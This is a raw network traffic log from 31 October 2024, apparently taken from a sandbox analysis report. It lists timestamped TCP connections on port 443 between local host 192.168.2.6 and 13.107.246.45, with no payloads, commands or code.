Oct 31, 2024 09:07:44.430624008 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.437416077 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.437468052 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.437540054 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.437715054 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.437736034 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.437747002 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.437755108 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.440213919 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.440259933 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.440326929 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.440578938 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.440594912 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.493746996 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.493942976 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.493983984 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.494016886 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.494057894 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.494117975 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.494124889 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.494134903 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.494138956 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.496632099 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.496654034 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.496733904 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.496870995 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.496881962 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.562374115 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.562406063 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.562452078 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.562506914 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.562546968 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.562690973 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.562700987 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.562711000 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.562715054 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.565392971 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.565421104 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.565493107 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.565634012 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.565648079 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.847959042 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.856154919 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.856184006 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.856618881 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.856635094 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.908207893 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.908876896 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.908899069 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.909348011 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.909360886 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.981296062 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.981379032 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.981447935 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.981709957 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.981755018 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.981791019 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.981810093 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.985668898 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.985699892 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.985769033 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.985941887 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.985953093 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.038347006 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.038409948 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.038496971 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.038678885 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.038708925 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.038736105 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.038749933 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.041580915 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.041599989 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.041697025 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.041915894 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.041929007 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.188980103 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.189559937 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.189585924 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.190258026 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.190262079 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.229165077 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.229655027 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.229669094 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.230114937 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.230118990 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.305978060 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.306472063 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.306498051 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.306937933 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.306943893 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.320502996 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.320565939 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.320640087 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.320761919 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.320775986 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.320785999 CET	49944	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.320791960 CET	443	49944	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.323287010 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.323318958 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.323393106 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.323525906 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.323538065 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.360467911 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.360502005 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.360543966 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.360595942 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.360636950 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.360769987 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.360783100 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.360791922 CET	49945	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.360797882 CET	443	49945	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.363249063 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.363292933 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.363405943 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.363549948 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.363565922 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.438436031 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.438621998 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.438703060 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.438736916 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.438740969 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.438750982 CET	49946	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.438755035 CET	443	49946	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.441132069 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.441157103 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.441230059 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.441374063 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.441382885 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.710844994 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.711285114 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.711297989 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.711744070 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.711749077 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.780314922 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.780879974 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.780901909 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:45.781348944 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:45.781354904 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026165009 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026226997 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026277065 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.026436090 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.026451111 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026459932 CET	49947	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.026465893 CET	443	49947	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026916027 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.026983976 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.027041912 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.027054071 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.027100086 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.027153015 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.027265072 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.027265072 CET	49948	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.027270079 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.027276993 CET	443	49948	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.029927969 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.029927969 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.029968023 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.029970884 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.030040026 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.030044079 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.030164957 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.030181885 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.030230045 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.030244112 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.154711008 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.155124903 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.155145884 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.155567884 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.155574083 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.156992912 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.157238007 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.157249928 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.157603025 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.157609940 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.183022022 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.183418036 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.183424950 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.183832884 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.183840036 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.283296108 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.283345938 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.283394098 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.283453941 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.283521891 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.283740997 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.283740997 CET	49950	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.283760071 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.283768892 CET	443	49950	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.286492109 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.286529064 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.286607981 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.286757946 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.286775112 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.288424015 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.288501978 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.288552999 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.288625956 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.288640022 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.288651943 CET	49949	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.288656950 CET	443	49949	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.290837049 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.290873051 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.290954113 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.291057110 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.291071892 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.314394951 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.314466000 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.314539909 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.314701080 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.314706087 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.314716101 CET	49951	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.314719915 CET	443	49951	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.316859007 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.316870928 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.316940069 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.317105055 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.317116022 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.765585899 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.766321898 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.766340971 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.766797066 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.766801119 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.818057060 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.818559885 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.818588018 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.818960905 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.818968058 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.895020008 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.895136118 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.895193100 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.895209074 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.895241976 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.895306110 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.896677017 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.896689892 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.896722078 CET	49952	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.896727085 CET	443	49952	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.899372101 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.899425983 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.899509907 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.899637938 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.899667978 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.955749989 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.955799103 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.955861092 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.956131935 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.956131935 CET	49953	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.956149101 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.956156969 CET	443	49953	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.959105968 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.959156036 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:46.959234953 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.959438086 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:46.959455967 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.023427963 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.023919106 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.023937941 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.024388075 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.024391890 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.025527000 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.025933981 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.025953054 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.026357889 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.026361942 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.056067944 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.056463003 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.056472063 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.057046890 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.057053089 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.151036024 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.151134968 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.151204109 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.151361942 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.151377916 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.151392937 CET	49955	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.151397943 CET	443	49955	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.154134989 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.154192924 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.154273987 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.154423952 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.154453039 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.156260967 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.156327963 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.156375885 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.156482935 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.156502962 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.156513929 CET	49954	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.156518936 CET	443	49954	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.158704996 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.158739090 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.158801079 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.158935070 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.158951044 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191365004 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191443920 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191493034 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.191498995 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191512108 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191576958 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.191687107 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.191690922 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.191715002 CET	49956	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.191720009 CET	443	49956	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.193892956 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.193918943 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.194045067 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.194144964 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.194156885 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.674285889 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.674957991 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.675004959 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.675424099 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.675442934 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.701366901 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.701894045 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.701931000 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.702275038 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.702280045 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.809365034 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.809573889 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.809665918 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.809757948 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.809757948 CET	49957	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.809813976 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.809839010 CET	443	49957	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.812768936 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.812797070 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.812864065 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.813040018 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.813054085 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.833863974 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.833905935 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.833949089 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.833956957 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.833986998 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.834086895 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.834106922 CET	443	49958	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.834119081 CET	49958	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.834125042 CET	443	49958	13.107.246.45	192.168.2.6
